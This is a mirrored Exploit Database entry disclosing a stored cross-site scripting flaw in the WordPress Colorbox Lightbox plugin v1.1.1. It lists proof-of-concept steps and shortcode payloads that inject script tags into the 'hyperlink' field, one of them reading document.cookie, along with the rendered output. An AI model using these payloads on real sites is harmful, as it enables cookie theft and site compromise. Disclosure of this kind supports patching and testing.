WordPress Plugin Colorbox Lightbox v1.1.1 – Persistent Cross-Site Scripting (Authenticated)

• Exploit Database
• 12 阅读

• 作者： n1x_
  日期： 2020-10-20
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48919/

• # Exploit Title: WordPress Plugin Colorbox Lightbox v1.1.1 - Persistent Cross-Site Scripting Vulnerability (Authenticated)
  # Date: 10.8.2020.
  # Exploit Author: n1x_ [MS-WEB]
  # Software Homepage: https://wordpress.org/plugins/wp-colorbox/
  # Software Link (v1.1.1): https://downloads.wordpress.org/plugin/wp-colorbox.1.1.1.zip 
  # Product Version: 1.1.1
  
  [Description]
  
  # WordPress Colorbox plugin is a simple lightbox tool for WordPress. It allows users to pop up content in lightbox using the popular jQuery ColorBox library. 
  
  # Due to improper input santitization of "hyperlink" field, of the plugin shortcode, version v1.1.1 (and possibly previous versions), are affected by a stored XSS vulnerability.
  
  [Proof of Concept]
  
  # 1. Authorization as user with privileges to write and publish posts
  # 2. Injecting code into "hyperlink" field of the plugin shorthocode, and publishing the post
  # 3. The code is stored on the post
  
  
  [Example payloads]
  
  
  # Example payload 1: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert(document.cookie)</script>"]
  
  # Example payload 2: [wp_colorbox_media url="http://www.youtube.com/embed/example" type="youtube" hyperlink="<script>alert('sampletext')</script>"]
  
  [Response]
  
  ...
  <a class="wp-colorbox-youtube" href="http://www.youtube.com/embed/example"><script>alert('sampletext')</script></a>
  ...